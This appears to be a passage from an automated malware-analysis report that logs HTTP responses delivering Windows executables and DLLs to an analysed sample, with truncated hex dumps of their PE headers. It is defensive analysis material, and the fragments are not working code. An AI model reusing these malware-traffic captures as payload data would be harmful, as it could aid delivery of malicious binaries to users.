00 00 06 26 16 0a 38 c2 00 00 00 7e 0c 00 00 04 06 6f 0f 00 00 0a 0b 7e 0d 00 00 04 06 6f 0f 00 00 0a 0c 7e 0e 00 00 04 06 6f 0f 00 00 0a 0d 7e 0f 00 00 04 06 6f 0f 00 00 0a 13 04 07 28 08 00 00 06 13 05 7e 0a 00 00 04 2c 09 11 05 28 02 00 00 06 13 05 7e 09 00 00 04 72 03 00 00 70 28 10 00 00 0a 2c 1a 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 11 05 28 04 00 00 06 13 05 2b 29 7e 09 00 00 04 72 31 00 00 70 28 10 00 00 0a 2c 18 11 05 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 28 03 00 00 06 13 05 11 04 07 08 28 13 00 00 0a 28 14 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.24.0Date: Mon, 05 Feb 2024 09:57:45 GMTContent-Type: application/octet-streamConnection: closeContent-Description: File TransferContent-Disposition: attachment; filename=e67de196.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ca 07 84 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 5a 02 00 00 18 03 00 00 00 00 00 4f 22 00 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 05 00 00 04 00 00 91 69 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec c2 02 00 50 00 00 00 00 d0 03 00 78 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 71 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 bb 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 02 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 59 02 00 00 10 00 00 00 5a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 5c 00 00 00 70 02 00 00 5e 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 f6 00 00 00 d0 02 00 00 30 00 00 00 bc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 a4 01 00 00 d0 03 00 00 a6 01 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 05 Feb 2024 09:57:52 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Feb 2024 09:45:01 GMTETag: "4ba00-6109f50ce5b1e"Accept-Ranges: bytesContent-Length: 309760Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 23 eb e5 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 82 02 00 00 18 03 00 00 00 00 00 4f 22 00 00 00 10 00 00 00 a0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 24 00 00 04 00 00 3f 3a 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec f2 02 00 50 00 00 00 00 00 04 00 78 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 a1 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 eb 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a6 81 02 00 00 10 00 00 00 82 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 5c 00 00 00 a0 02 00 00 5e 00 00 00 86 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 f6 00 00 00 00 03 00 00 30 00 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 64 20 00 00 00 04 00 00 a6 01 00 00 14 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 05 Feb 2024 09:57:57 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 05 Feb 2024 09:58:02 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 05 Feb 2024 09:58:06 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 05 Feb 2024 09:58:07 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 05 Feb 2024 09:58:08 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
